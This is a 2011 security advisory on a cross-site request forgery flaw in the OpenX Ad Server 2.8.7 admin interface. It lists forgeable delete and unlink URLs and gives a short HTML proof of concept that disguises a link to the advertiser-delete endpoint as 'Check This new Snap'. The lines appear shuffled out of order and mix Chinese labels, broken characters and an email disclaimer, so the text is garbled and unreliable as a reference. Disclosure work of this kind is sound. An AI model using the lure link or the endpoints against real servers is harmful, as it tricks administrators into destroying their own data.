OpenX Ad Server 2.8.7跨站请求伪造
Product: OpenX Ad Server
Narendra.
</body>
Impact: High
-------------------
Code:
Proof of concept:
<h1> Check This new Snap </h1>
/www/admin/advertiser-delete.php?clientid=[valid-id]
Again Contacted Vendor: 19/7/2011 NO Respoonse
Vulnerability Information:
OpenX ad serving products are used by more than 200,000 websites in more than 100 countries and serve more than 350 billion ads monthly. OpenX Market reaches more than 400 million monthly unique users worldwide
-----------------
Public Disclosure :24/7/2011
</html>
Vulnerable version: 2.8.7 and probably earlier versions
-----------
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
Contacted vendor : No response
Discovered: 7/7/2011
Fixed version: N/A
By: Narendra Shinde
Class: Cross-Site Request Forgery (CSRF) [CWE-352]
Title: OpenX Ad Server CSRF Vulnerability
Thanks & Regards,
/www/admin/tracker-delete.php?clientid[valid-id]&trackerid[valid-id]
Workaround:
<body>
Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium.
-------------------------
Authentication Required: No
Source:
/www/admin/advertiser-user-unlink.php?userid=[valid-id]&clientid[valid-id]
<html>
<a href=� /www/admin/advertiser-delete.php?clientid=2> Check This </a>
测试平台: Ubuntu 11.04
Impact: Unintentional changes in application.
The administrative interface of OpenX Ad Server is vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be exploited by remote attackers to force a logged-in administrator to perform malicious actions on the OpenX Ad Server, by enticing authenticated user to visit a malicious web page.Attacker can modify application data.
-----------------------------------
OpenX is the world�s leading independent provider of digital advertising technology that enables businesses to manage and maximize their ad revenue.
User interaction Required : Yes
Remotely Exploitable: Yes
Homepage:
Timeline:
问题描述:
Vendor description:
=======================================================================
The following URL could be used to perform CSRF attacks:
，